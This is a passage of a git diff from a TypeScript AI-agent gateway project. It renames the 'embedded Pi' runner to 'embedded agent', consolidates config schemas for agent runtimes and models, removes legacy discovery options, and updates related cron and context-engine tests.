EmbeddedAgentExecutionContract; }; /** Optional per-agent sandbox overrides. */ sandbox?: AgentSandboxConfig; diff --git a/src/config/types.models.ts b/src/config/types.models.ts index baa69383210..ea207fb1d37 100644 --- a/src/config/types.models.ts +++ b/src/config/types.models.ts @@ -2,7 +2,7 @@ import type { AnthropicMessagesCompat, OpenAICompletionsCompat, OpenAIResponsesCompat, -} from "@earendil-works/pi-ai"; +} from "../llm/types.js"; import type { AgentRuntimePolicyConfig } from "./types.agents-shared.js"; import type { ConfiguredModelProviderRequest } from "./types.provider-request.js"; import type { SecretInput } from "./types.secrets.js"; @@ -213,26 +213,6 @@ export type ModelsConfig = { mode?: "merge" | "replace"; providers?: Record; pricing?: ModelPricingConfig; - /** - * @deprecated Legacy compat alias. Kept so doctor/runtime fallbacks can read - * older configs until migration completes. - */ - bedrockDiscovery?: BedrockDiscoveryConfig; - /** - * @deprecated Legacy compat alias. Kept so doctor/runtime fallbacks can read - * older configs until migration completes. - */ - copilotDiscovery?: DiscoveryToggleConfig; - /** - * @deprecated Legacy compat alias. Kept so doctor/runtime fallbacks can read - * older configs until migration completes. - */ - huggingfaceDiscovery?: DiscoveryToggleConfig; - /** - * @deprecated Legacy compat alias. Kept so doctor/runtime fallbacks can read - * older configs until migration completes. - */ - ollamaDiscovery?: DiscoveryToggleConfig; }; export type ModelsConfigInput = Omit & { diff --git a/src/config/types.plugins.ts b/src/config/types.plugins.ts index 6fce9bc96aa..37dcaf1be50 100644 --- a/src/config/types.plugins.ts +++ b/src/config/types.plugins.ts @@ -64,19 +64,11 @@ export type PluginsConfig = { allow?: string[]; /** Optional plugin denylist (plugin ids). */ deny?: string[]; - /** - * Controls how bundled plugins participate in runtime provider discovery when - * `allow` is configured. - * - * - `"allowlist"` (default): bundled provider plugins are gated by `allow` - * and `entries..enabled` like third-party plugins. - * - `"compat"`: legacy mode for migrated configs; bundled provider plugins - * can be force-loaded regardless of the allowlist. - */ - bundledDiscovery?: "compat" | "allowlist"; load?: PluginsLoadConfig; slots?: PluginSlotsConfig; entries?: Record; + /** @deprecated Shipped upgrade marker accepted for old restrictive allowlist configs. */ + bundledDiscovery?: "compat" | "allowlist"; /** * Internal transient carrier for plugin install records during command flows. * This is intentionally omitted from the config schema and must not be diff --git a/src/config/validation.channel-metadata.test.ts b/src/config/validation.channel-metadata.test.ts index 11ce9a7a20d..7058721719c 100644 --- a/src/config/validation.channel-metadata.test.ts +++ b/src/config/validation.channel-metadata.test.ts @@ -320,6 +320,20 @@ describe("validateConfigObjectRawWithPlugins plugin config defaults", () => { }); describe("validateConfigObjectWithPlugins bundled allowlist compatibility", () => { + it("accepts the shipped deprecated bundledDiscovery marker", () => { + const result = validateConfigObjectWithPlugins({ + plugins: { + allow: ["telegram"], + bundledDiscovery: "compat", + }, + }); + + expect(result.ok).toBe(true); + if (result.ok) { + expect(result.config.plugins?.bundledDiscovery).toBe("compat"); + } + }); + it("reuses the manifest registry loaded for compatibility during plugin validation", () => { mockLoadPluginManifestRegistry.mockReturnValue(createCompatPluginConfigSchemaRegistry()); diff --git a/src/config/validation.ts b/src/config/validation.ts index d3827bcaa4c..23debbbbe44 100644 --- a/src/config/validation.ts +++ b/src/config/validation.ts @@ -2,7 +2,6 @@ import path from "node:path"; import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; import { isPathInside } from "../infra/path-guards.js"; import { planManifestModelCatalogSuppressions } from "../model-catalog/index.js"; -import { withBundledPluginAllowlistCompat } from "../plugins/bundled-compat.js"; import { normalizePluginsConfig, normalizePluginId, @@ -1154,17 +1153,8 @@ function validateConfigObjectWithPluginsBase( return compatConfig ?? config; } - const allow = config.plugins?.allow; - if (!Array.isArray(allow) || allow.length === 0) { - compatConfig = config; - return config; - } - - compatConfig = withBundledPluginAllowlistCompat({ - config, - pluginIds: [...ensureCompatPluginIds()], - }); - return compatConfig ?? config; + compatConfig = config; + return config; }; const ensureRegistry = (): RegistryInfo => { diff --git a/src/config/zod-schema.agent-defaults.test.ts b/src/config/zod-schema.agent-defaults.test.ts index e0bcf1881d9..13e09db621d 100644 --- a/src/config/zod-schema.agent-defaults.test.ts +++ b/src/config/zod-schema.agent-defaults.test.ts @@ -146,16 +146,6 @@ describe("agent defaults schema", () => { ); }); - it("accepts agents.defaults.agentRuntime", () => { - expect(() => - AgentDefaultsSchema.parse({ - agentRuntime: { - id: "claude-cli", - }, - }), - ).not.toThrow(); - }); - it("accepts experimental.localModelLean", () => { const result = AgentDefaultsSchema.parse({ experimental: { @@ -238,13 +228,37 @@ describe("agent defaults schema", () => { ); }); - it("accepts embeddedPi.executionContract", () => { + it("accepts embeddedAgent.executionContract", () => { const result = AgentDefaultsSchema.parse({ - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, })!; - expect(result.embeddedPi?.executionContract).toBe("strict-agentic"); + expect(result.embeddedAgent?.executionContract).toBe("strict-agentic"); + }); + + it("rejects legacy whole-agent runtime pins outside doctor migration", () => { + expect(AgentDefaultsSchema.safeParse({ agentRuntime: { id: "codex" } }).success).toBe(false); + expect(AgentDefaultsSchema.safeParse({ embeddedHarness: { runtime: "codex" } }).success).toBe( + false, + ); + expect( + AgentEntrySchema.safeParse({ id: "legacy", agentRuntime: { id: "codex" } }).success, + ).toBe(false); + expect( + AgentEntrySchema.safeParse({ id: "legacy", embeddedHarness: { runtime: "codex" } }).success, + ).toBe(false); + }); + + it("accepts embeddedAgent project settings policy", () => { + const result = AgentDefaultsSchema.parse({ + embeddedAgent: { + executionContract: "strict-agentic", + projectSettingsPolicy: "sanitize", + }, + })!; + expect(result.embeddedAgent?.executionContract).toBe("strict-agentic"); + expect(result.embeddedAgent?.projectSettingsPolicy).toBe("sanitize"); }); it("accepts runRetries configuration on defaults and agent entries", () => { diff --git a/src/config/zod-schema.agent-defaults.ts b/src/config/zod-schema.agent-defaults.ts index 540f863fe58..da57da48006 100644 --- a/src/config/zod-schema.agent-defaults.ts +++ b/src/config/zod-schema.agent-defaults.ts @@ -4,8 +4,7 @@ import { HeartbeatSchema, AgentSandboxSchema, AgentContextLimitsSchema, - AgentEmbeddedHarnessSchema, - AgentRuntimePolicySchema, + AgentModelRuntimeEntrySchema, AgentModelSchema, AgentToolModelSchema, MemorySearchSchema, @@ -33,6 +32,15 @@ const OptionalBootstrapFileNameSchema = z.enum([ "IDENTITY.md", ]); +const EmbeddedAgentConfigSchema = z + .object({ + projectSettingsPolicy: z + .union([z.literal("trusted"), z.literal("sanitize"), z.literal("ignore")]) + .optional(), + executionContract: z.union([z.literal("default"), z.literal("strict-agentic")]).optional(), + }) + .strict(); + export const SilentReplyPolicyConfigSchema = z .object({ group: SilentReplyPolicySchema.optional(), @@ -44,8 +52,6 @@ export const AgentDefaultsSchema = z .object({ /** Global default provider params applied to all models before per-model and per-agent overrides. */ params: z.record(z.string(), z.unknown()).optional(), - agentRuntime: AgentRuntimePolicySchema, - embeddedHarness: AgentEmbeddedHarnessSchema, model: AgentModelSchema.optional(), imageModel: AgentToolModelSchema.optional(), imageGenerationModel: AgentToolModelSchema.optional(), @@ -55,21 +61,7 @@ export const AgentDefaultsSchema = z pdfModel: AgentToolModelSchema.optional(), pdfMaxBytesMb: z.number().positive().optional(), pdfMaxPages: z.number().int().positive().optional(), - models: z - .record( - z.string(), - z - .object({ - alias: z.string().optional(), - /** Provider-specific API parameters (e.g., GLM-4.7 thinking mode). */ - params: z.record(z.string(), z.unknown()).optional(), - agentRuntime: AgentRuntimePolicySchema, - /** Enable streaming for this model (default: true, false for Ollama to avoid SDK issue #1205). */ - streaming: z.boolean().optional(), - }) - .strict(), - ) - .optional(), + models: z.record(z.string(), AgentModelRuntimeEntrySchema).optional(), workspace: z.string().optional(), skills: z.array(z.string()).optional(), silentReply: SilentReplyPolicyConfigSchema.optional(), @@ -211,15 +203,7 @@ export const AgentDefaultsSchema = z .strict() .optional(), runRetries: AgentRunRetriesConfigSchema.optional(), - embeddedPi: z - .object({ - projectSettingsPolicy: z - .union([z.literal("trusted"), z.literal("sanitize"), z.literal("ignore")]) - .optional(), - executionContract: z.union([z.literal("default"), z.literal("strict-agentic")]).optional(), - }) - .strict() - .optional(), + embeddedAgent: EmbeddedAgentConfigSchema.optional(), thinkingDefault: z .union([ z.literal("off"), diff --git a/src/config/zod-schema.agent-runtime.ts b/src/config/zod-schema.agent-runtime.ts index a2dd40eecf5..5de6f0ab460 100644 --- a/src/config/zod-schema.agent-runtime.ts +++ b/src/config/zod-schema.agent-runtime.ts @@ -73,6 +73,12 @@ export const AgentRunRetriesConfigSchema = z { message: "max must be greater than or equal to min", path: ["max"] }, ); +const AgentEntryEmbeddedAgentConfigSchema = z + .object({ + executionContract: z.union([z.literal("default"), z.literal("strict-agentic")]).optional(), + }) + .strict(); + export const HeartbeatSchema = z .object({ every: z.string().optional(), @@ -995,6 +1001,15 @@ export const AgentRuntimePolicySchema = z .strict() .optional(); +export const AgentModelRuntimeEntrySchema = z + .object({ + alias: z.string().optional(), + params: z.record(z.string(), z.unknown()).optional(), + agentRuntime: AgentRuntimePolicySchema, + streaming: z.boolean().optional(), + }) + .strict(); + export const AgentEntrySchema = z .object({ id: z.string(), @@ -1004,22 +1019,8 @@ export const AgentEntrySchema = z workspace: z.string().optional(), agentDir: z.string().optional(), systemPromptOverride: z.string().optional(), - agentRuntime: AgentRuntimePolicySchema, - embeddedHarness: AgentEmbeddedHarnessSchema, model: AgentModelSchema.optional(), - models: z - .record( - z.string(), - z - .object({ - alias: z.string().optional(), - params: z.record(z.string(), z.unknown()).optional(), - agentRuntime: AgentRuntimePolicySchema, - streaming: z.boolean().optional(), - }) - .strict(), - ) - .optional(), + models: z.record(z.string(), AgentModelRuntimeEntrySchema).optional(), thinkingDefault: z .enum(["off", "minimal", "low", "medium", "high", "xhigh", "adaptive", "max"]) .optional(), @@ -1059,12 +1060,7 @@ export const AgentEntrySchema = z .strict() .optional(), runRetries: AgentRunRetriesConfigSchema.optional(), - embeddedPi: z - .object({ - executionContract: z.union([z.literal("default"), z.literal("strict-agentic")]).optional(), - }) - .strict() - .optional(), + embeddedAgent: AgentEntryEmbeddedAgentConfigSchema.optional(), sandbox: AgentSandboxSchema, params: z.record(z.string(), z.unknown()).optional(), tools: AgentToolsSchema, diff --git a/src/context-engine/context-engine.test.ts b/src/context-engine/context-engine.test.ts index 9f99454a86d..6db7a25d540 100644 --- a/src/context-engine/context-engine.test.ts +++ b/src/context-engine/context-engine.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { MemoryCitationsMode } from "../config/types.memory.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; @@ -32,16 +32,16 @@ import type { IngestResult, } from "./types.js"; -const { compactEmbeddedPiSessionDirectMock } = vi.hoisted(() => ({ - compactEmbeddedPiSessionDirectMock: vi.fn(), +const { compactEmbeddedAgentSessionDirectMock } = vi.hoisted(() => ({ + compactEmbeddedAgentSessionDirectMock: vi.fn(), })); -vi.mock("../agents/pi-embedded-runner/compact.runtime.js", () => ({ - compactEmbeddedPiSessionDirect: compactEmbeddedPiSessionDirectMock, +vi.mock("../agents/embedded-agent-runner/compact.runtime.js", () => ({ + compactEmbeddedAgentSessionDirect: compactEmbeddedAgentSessionDirectMock, })); function installCompactRuntimeSpy() { - return compactEmbeddedPiSessionDirectMock.mockResolvedValue({ + return compactEmbeddedAgentSessionDirectMock.mockResolvedValue({ ok: true, compacted: false, reason: "mock compaction", @@ -56,7 +56,7 @@ function installCompactRuntimeSpy() { } function requireCompactRuntimeParams(callIndex: number): Record { - const params = compactEmbeddedPiSessionDirectMock.mock.calls[callIndex]?.[0] as + const params = compactEmbeddedAgentSessionDirectMock.mock.calls[callIndex]?.[0] as | Record | undefined; if (!params) { @@ -379,7 +379,7 @@ class LegacyAssembleStrictEngine implements ContextEngine { describe("Engine contract tests", () => { beforeEach(() => { vi.restoreAllMocks(); - compactEmbeddedPiSessionDirectMock.mockReset(); + compactEmbeddedAgentSessionDirectMock.mockReset(); clearMemoryPluginState(); }); diff --git a/src/context-engine/delegate.ts b/src/context-engine/delegate.ts index c02a65effc6..66514b78329 100644 --- a/src/context-engine/delegate.ts +++ b/src/context-engine/delegate.ts @@ -1,11 +1,11 @@ -import type { CompactEmbeddedPiSessionDirect } from "../agents/pi-embedded-runner/compact.runtime.types.js"; +import type { CompactEmbeddedAgentSessionDirect } from "../agents/embedded-agent-runner/compact.runtime.types.js"; import { normalizeStructuredPromptSection } from "../agents/prompt-cache-stability.js"; import type { MemoryCitationsMode } from "../config/types.memory.js"; import { buildMemoryPromptSection } from "../plugins/memory-state.js"; import type { ContextEngine, CompactResult, ContextEngineRuntimeContext } from "./types.js"; type CompactRuntimeModule = { - compactEmbeddedPiSessionDirect: CompactEmbeddedPiSessionDirect; + compactEmbeddedAgentSessionDirect: CompactEmbeddedAgentSessionDirect; }; let compactRuntimePromise: Promise | null = null; @@ -13,7 +13,7 @@ let compactRuntimePromise: Promise | null = null; function loadCompactRuntime(): Promise { // Use a literal specifier so the bundler rewrites the runtime chunk path // instead of resolving a source-tree path at runtime. - compactRuntimePromise ??= import("../agents/pi-embedded-runner/compact.runtime.js"); + compactRuntimePromise ??= import("../agents/embedded-agent-runner/compact.runtime.js"); return compactRuntimePromise; } @@ -35,10 +35,10 @@ export async function delegateCompactionToRuntime( ): Promise { // Load through the dedicated runtime boundary without introducing another // source-level static edge into the embedded runner graph. - const { compactEmbeddedPiSessionDirect } = await loadCompactRuntime(); - type RuntimeCompactionParams = Parameters[0]; + const { compactEmbeddedAgentSessionDirect } = await loadCompactRuntime(); + type RuntimeCompactionParams = Parameters[0]; - // runtimeContext carries the full CompactEmbeddedPiSessionParams fields set + // runtimeContext carries the full CompactEmbeddedAgentSessionParams fields set // by runtime callers. We spread them and override the fields that come from // the public ContextEngine compact() signature directly. const runtimeContext = (params.runtimeContext ?? {}) as ContextEngineRuntimeContext & @@ -51,7 +51,7 @@ export async function delegateCompactionToRuntime( ? Math.floor(runtimeContext.currentTokenCount) : undefined); - const result = await compactEmbeddedPiSessionDirect({ + const result = await compactEmbeddedAgentSessionDirect({ ...runtimeContext, sessionId: params.sessionId, sessionFile: params.sessionFile, diff --git a/src/context-engine/host-compat.test.ts b/src/context-engine/host-compat.test.ts index e836a9b064e..abdb517732b 100644 --- a/src/context-engine/host-compat.test.ts +++ b/src/context-engine/host-compat.test.ts @@ -4,7 +4,7 @@ import { buildGenericCliContextEngineHostSupport, CODEX_APP_SERVER_CONTEXT_ENGINE_HOST, evaluateContextEngineHostSupport, - PI_EMBEDDED_CONTEXT_ENGINE_HOST, + OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST, } from "./host-compat.js"; import type { ContextEngine, ContextEngineHostCapability } from "./types.js"; @@ -17,7 +17,7 @@ function createEngine(requiredCapabilities: ContextEngineHostCapability[]): Cont "agent-run": { requiredCapabilities, unsupportedMessage: - "Use the native Codex or Pi embedded runtime, or switch contextEngine to legacy.", + "Use the native Codex or OpenClaw embedded runtime, or switch contextEngine to legacy.", }, }, }, @@ -67,7 +67,7 @@ describe("context engine host compatibility", () => { }); }); - it("allows native Codex and Pi embedded hosts to satisfy pre-prompt assembly", () => { + it("allows native Codex and OpenClaw embedded hosts to satisfy pre-prompt assembly", () => { const engine = createEngine(["assemble-before-prompt"]); assertContextEngineHostSupport({ @@ -78,7 +78,7 @@ describe("context engine host compatibility", () => { assertContextEngineHostSupport({ contextEngine: engine, operation: "agent-run", - host: PI_EMBEDDED_CONTEXT_ENGINE_HOST, + host: OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST, }); }); diff --git a/src/context-engine/host-compat.ts b/src/context-engine/host-compat.ts index 2ec835c33bc..ceaa466a546 100644 --- a/src/context-engine/host-compat.ts +++ b/src/context-engine/host-compat.ts @@ -18,9 +18,9 @@ export const GENERIC_CLI_CONTEXT_ENGINE_HOST_CAPABILITIES = [ "maintain", ] as const satisfies readonly ContextEngineHostCapability[]; -export const PI_EMBEDDED_CONTEXT_ENGINE_HOST = { - id: "pi-embedded", - label: "Pi embedded runner", +export const OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST = { + id: "openclaw-embedded", + label: "OpenClaw embedded runner", capabilities: [ "bootstrap", "assemble-before-prompt", diff --git a/src/context-engine/legacy.ts b/src/context-engine/legacy.ts index 39cdfa9b95f..1269228484f 100644 --- a/src/context-engine/legacy.ts +++ b/src/context-engine/legacy.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../agents/runtime/index.js"; import type { MemoryCitationsMode } from "../config/types.memory.js"; import { delegateCompactionToRuntime } from "./delegate.js"; import type { @@ -16,7 +16,7 @@ import type { * * - ingest: no-op (SessionManager handles message persistence) * - assemble: pass-through (existing sanitize/validate/limit pipeline in attempt.ts handles this) - * - compact: delegates to compactEmbeddedPiSessionDirect + * - compact: delegates to compactEmbeddedAgentSessionDirect */ export class LegacyContextEngine implements ContextEngine { readonly info: ContextEngineInfo = { diff --git a/src/context-engine/types.ts b/src/context-engine/types.ts index 28896cd5890..92076ffcbf0 100644 --- a/src/context-engine/types.ts +++ b/src/context-engine/types.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../agents/runtime/index.js"; import type { MemoryCitationsMode } from "../config/types.memory.js"; // Result types @@ -247,7 +247,7 @@ export interface ContextEngine { * Run transcript maintenance after bootstrap, successful turns, or compaction. * * Engines can use runtimeContext.rewriteTranscriptEntries() to request safe - * branch-and-reappend transcript rewrites without depending on Pi internals. + * branch-and-reappend transcript rewrites without depending on runner internals. */ maintain?(params: { sessionId: string; diff --git a/src/crestodian/assistant.test.ts b/src/crestodian/assistant.test.ts index 7faef881d5c..a08f33ecaa5 100644 --- a/src/crestodian/assistant.test.ts +++ b/src/crestodian/assistant.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it, vi } from "vitest"; import type { RunCliAgentParams } from "../agents/cli-runner/types.js"; -import type { RunEmbeddedPiAgentParams } from "../agents/pi-embedded-runner/run/params.js"; -import type { EmbeddedPiRunResult } from "../agents/pi-embedded.js"; +import type { RunEmbeddedAgentParams } from "../agents/embedded-agent-runner/run/params.js"; +import type { EmbeddedAgentRunResult } from "../agents/embedded-agent.js"; import { selectCrestodianLocalPlannerBackends } from "./assistant-backends.js"; import { buildCrestodianAssistantUserPrompt, @@ -116,12 +116,12 @@ describe("Crestodian assistant", () => { it("uses Claude CLI first for configless planning", async () => { const runCliAgent = vi.fn( - async (_params: RunCliAgentParams): Promise => ({ + async (_params: RunCliAgentParams): Promise => ({ payloads: [{ text: '{"reply":"Checking the shell.","command":"status"}' }], meta: { durationMs: 0 }, }), ); - const runEmbeddedPiAgent = vi.fn(); + const runEmbeddedAgent = vi.fn(); const result = await planCrestodianCommandWithLocalRuntime({ input: "what is going on", @@ -131,7 +131,7 @@ describe("Crestodian assistant", () => { }), deps: { runCliAgent, - runEmbeddedPiAgent, + runEmbeddedAgent, createTempDir: async () => "/tmp/crestodian-planner", removeTempDir: async () => {}, }, @@ -154,7 +154,7 @@ describe("Crestodian assistant", () => { expect(firstCliDefaults.cliBackends).toBeUndefined(); expect(firstCliCall.extraSystemPrompt).toBeTypeOf("string"); expect(firstCliCall.extraSystemPrompt).toContain("Do not use tools, shell commands"); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("selects local planner backends without execution state", () => { @@ -188,8 +188,8 @@ describe("Crestodian assistant", () => { const runCliAgent = vi.fn(async () => { throw new Error("claude unavailable"); }); - const runEmbeddedPiAgent = vi.fn( - async (_params: RunEmbeddedPiAgentParams): Promise => ({ + const runEmbeddedAgent = vi.fn( + async (_params: RunEmbeddedAgentParams): Promise => ({ meta: { durationMs: 0, finalAssistantVisibleText: '{"reply":"Codex planner online.","command":"gateway status"}', @@ -205,7 +205,7 @@ describe("Crestodian assistant", () => { }), deps: { runCliAgent, - runEmbeddedPiAgent, + runEmbeddedAgent, createTempDir: async () => "/tmp/crestodian-planner", removeTempDir: async () => {}, }, @@ -217,8 +217,8 @@ describe("Crestodian assistant", () => { expect(result.reply).toBe("Codex planner online."); expect(result.modelLabel).toBe("openai/gpt-5.5 via codex"); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); - const firstEmbeddedCall = firstMockArg(runEmbeddedPiAgent); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); + const firstEmbeddedCall = firstMockArg(runEmbeddedAgent); expect(firstEmbeddedCall.provider).toBe("openai"); expect(firstEmbeddedCall.model).toBe("gpt-5.5"); expect(firstEmbeddedCall.agentHarnessId).toBe("codex"); @@ -236,10 +236,10 @@ describe("Crestodian assistant", () => { }); it("does not fall back to Codex CLI if the app-server planner is not usable", async () => { - const runCliAgent = vi.fn(async (): Promise => { + const runCliAgent = vi.fn(async (): Promise => { throw new Error("unexpected cli provider"); }); - const runEmbeddedPiAgent = vi.fn(async () => { + const runEmbeddedAgent = vi.fn(async () => { throw new Error("codex app-server unavailable"); }); @@ -250,14 +250,14 @@ describe("Crestodian assistant", () => { }), deps: { runCliAgent, - runEmbeddedPiAgent, + runEmbeddedAgent, createTempDir: async () => "/tmp/crestodian-planner", removeTempDir: async () => {}, }, }); expect(result).toBeNull(); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expect(runCliAgent).not.toHaveBeenCalled(); }); }); diff --git a/src/crestodian/assistant.ts b/src/crestodian/assistant.ts index 5dd192a6777..72eaaf38954 100644 --- a/src/crestodian/assistant.ts +++ b/src/crestodian/assistant.ts @@ -3,7 +3,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { resolveDefaultAgentId } from "../agents/agent-scope.js"; -import { extractAssistantText } from "../agents/pi-embedded-utils.js"; +import { extractAssistantText } from "../agents/embedded-agent-utils.js"; import { completeWithPreparedSimpleCompletionModel, prepareSimpleCompletionModelForAgent, @@ -32,7 +32,7 @@ export type CrestodianAssistantPlanner = (params: { }) => Promise; type RunCliAgentFn = typeof import("../agents/cli-runner.js").runCliAgent; -type RunEmbeddedPiAgentFn = typeof import("../agents/pi-embedded.js").runEmbeddedPiAgent; +type RunEmbeddedAgentFn = typeof import("../agents/embedded-agent.js").runEmbeddedAgent; type ReadConfigFileSnapshotFn = typeof readConfigFileSnapshot; type PrepareSimpleCompletionModelForAgentFn = typeof prepareSimpleCompletionModelForAgent; type CompleteWithPreparedSimpleCompletionModelFn = typeof completeWithPreparedSimpleCompletionModel; @@ -45,7 +45,7 @@ export type CrestodianConfiguredModelPlannerDeps = { export type CrestodianLocalRuntimePlannerDeps = { runCliAgent?: RunCliAgentFn; - runEmbeddedPiAgent?: RunEmbeddedPiAgentFn; + runEmbeddedAgent?: RunEmbeddedAgentFn; createTempDir?: () => Promise; removeTempDir?: (dir: string) => Promise; }; @@ -209,7 +209,7 @@ async function runLocalRuntimePlanner( return extractPlannerResultText(result); } case "embedded": { - const runEmbedded = params.deps?.runEmbeddedPiAgent ?? (await loadRunEmbeddedPiAgent()); + const runEmbedded = params.deps?.runEmbeddedAgent ?? (await loadRunEmbeddedAgent()); const result = await runEmbedded({ sessionId, sessionKey, @@ -252,8 +252,8 @@ async function loadRunCliAgent(): Promise { return (await import("../agents/cli-runner.js")).runCliAgent; } -async function loadRunEmbeddedPiAgent(): Promise { - return (await import("../agents/pi-embedded.js")).runEmbeddedPiAgent; +async function loadRunEmbeddedAgent(): Promise { + return (await import("../agents/embedded-agent.js")).runEmbeddedAgent; } function extractPlannerResultText(result: { diff --git a/src/cron/isolated-agent.auth-profile-propagation.test.ts b/src/cron/isolated-agent.auth-profile-propagation.test.ts index cca4bb3b0f4..c72d75f27f0 100644 --- a/src/cron/isolated-agent.auth-profile-propagation.test.ts +++ b/src/cron/isolated-agent.auth-profile-propagation.test.ts @@ -1,108 +1,68 @@ -import "./isolated-agent.mocks.js"; -import fs from "node:fs/promises"; -import path from "node:path"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; -import { createCliDeps } from "./isolated-agent.delivery.test-helpers.js"; -import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; +import { describe, expect, it } from "vitest"; import { - makeCfg, - makeJob, - withTempCronHome, - writeSessionStore, -} from "./isolated-agent.test-harness.js"; -import { setupIsolatedAgentTurnMocks } from "./isolated-agent.test-setup.js"; + makeIsolatedAgentTurnJob, + makeIsolatedAgentTurnParams, + setupRunCronIsolatedAgentTurnSuite, +} from "./isolated-agent/run.suite-helpers.js"; +import { + loadRunCronIsolatedAgentTurn, + mockRunCronFallbackPassthrough, + resolveConfiguredModelRefMock, + resolveSessionAuthProfileOverrideMock, + runEmbeddedAgentMock, +} from "./isolated-agent/run.test-harness.js"; -vi.mock("../plugins/provider-runtime.js", async (importOriginal) => ({ - ...(await importOriginal()), - resolveExternalAuthProfilesWithPlugins: () => [], -})); +const runCronIsolatedAgentTurn = await loadRunCronIsolatedAgentTurn(); -function getEmbeddedPiAgentParams(): { - authProfileId?: string; - authProfileIdSource?: string; -} { - const [call] = vi.mocked(runEmbeddedPiAgent).mock.calls; - if (!call) { - throw new Error("Expected embedded PI agent call for auth profile propagation"); - } - const [params] = call; - if (typeof params !== "object" || params === null || Array.isArray(params)) { - throw new Error("Expected embedded PI agent params to be an object"); +function getEmbeddedAgentParams(): { authProfileId?: string; authProfileIdSource?: string } { + const params = runEmbeddedAgentMock.mock.calls[0]?.[0]; + if (!params || typeof params !== "object" || Array.isArray(params)) { + throw new Error("Expected embedded OpenClaw agent params to be an object"); } return params; } describe("runCronIsolatedAgentTurn auth profile propagation (#20624)", () => { - beforeEach(() => { - setupIsolatedAgentTurnMocks({ fast: true }); - }); + setupRunCronIsolatedAgentTurnSuite(); - it("passes authProfileId to runEmbeddedPiAgent when auth profiles exist", async () => { - await withTempCronHome(async (home) => { - const storePath = await writeSessionStore(home, { lastProvider: "webchat", lastTo: "" }); + it("passes authProfileId to runEmbeddedAgent when auth profiles exist", async () => { + resolveConfiguredModelRefMock.mockReturnValue({ + provider: "openrouter", + model: "moonshotai/kimi-k2.5", + }); + resolveSessionAuthProfileOverrideMock.mockResolvedValue("openrouter:default"); + mockRunCronFallbackPassthrough(); - // 2. Write auth-profiles.json in the agent directory - // resolveAgentDir returns /agents/main/agent - // stateDir = /.openclaw - const agentDir = path.join(home, ".openclaw", "agents", "main", "agent"); - await fs.mkdir(agentDir, { recursive: true }); - await fs.writeFile( - path.join(agentDir, "auth-profiles.json"), - JSON.stringify({ - version: 1, - profiles: { - "openrouter:default": { - type: "api_key", - provider: "openrouter", - key: "sk-or-test-key-12345", + const result = await runCronIsolatedAgentTurn( + makeIsolatedAgentTurnParams({ + cfg: { + auth: { + profiles: { + "openrouter:default": { + provider: "openrouter", + mode: "api_key", + }, }, + order: { openrouter: ["openrouter:default"] }, }, - order: { - openrouter: ["openrouter:default"], + }, + job: makeIsolatedAgentTurnJob({ + delivery: { mode: "none" }, + payload: { + kind: "agentTurn", + message: "check status", }, }), - "utf-8", - ); - - // 3. Mock runEmbeddedPiAgent to return ok - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "done" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "openrouter", model: "kimi-k2.5" }, - }, - }); - - // 4. Run cron isolated agent turn with openrouter model - const cfg = makeCfg(home, storePath, { - agents: { - defaults: { - model: { primary: "openrouter/moonshotai/kimi-k2.5" }, - workspace: path.join(home, "openclaw"), - }, - }, - }); - - const res = await runCronIsolatedAgentTurn({ - cfg, - deps: createCliDeps(), - job: { - ...makeJob({ kind: "agentTurn", message: "check status" }), - delivery: { mode: "none" }, - }, message: "check status", sessionKey: "cron:job-1", lane: "cron", - }); + }), + ); - expect(res.status).toBe("ok"); - expect(vi.mocked(runEmbeddedPiAgent)).toHaveBeenCalledTimes(1); - - // 5. Check that authProfileId was passed - const callArgs = getEmbeddedPiAgentParams(); - - expect(callArgs.authProfileId).toBe("openrouter:default"); + expect(result.status).toBe("ok"); + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + expect(getEmbeddedAgentParams()).toMatchObject({ + authProfileId: "openrouter:default", }); }); }); diff --git a/src/cron/isolated-agent.delivery.test-helpers.ts b/src/cron/isolated-agent.delivery.test-helpers.ts index 67047c2b288..a44c8f640e7 100644 --- a/src/cron/isolated-agent.delivery.test-helpers.ts +++ b/src/cron/isolated-agent.delivery.test-helpers.ts @@ -1,5 +1,5 @@ import { expect, vi } from "vitest"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; +import { runEmbeddedAgent } from "../agents/embedded-agent.js"; import type { CliDeps } from "../cli/deps.js"; import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; import { makeCfg, makeJob } from "./isolated-agent.test-harness.js"; @@ -20,9 +20,9 @@ export function createCliDeps(overrides: Partial = {}): CliDeps { export function mockAgentPayloads( payloads: Array>, - extra: Partial>> = {}, + extra: Partial>> = {}, ): void { - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ + vi.mocked(runEmbeddedAgent).mockResolvedValue({ payloads, meta: { durationMs: 5, diff --git a/src/cron/isolated-agent.hook-content-wrapping.test.ts b/src/cron/isolated-agent.hook-content-wrapping.test.ts index 53ce5a1fa4f..d8bc9f96e77 100644 --- 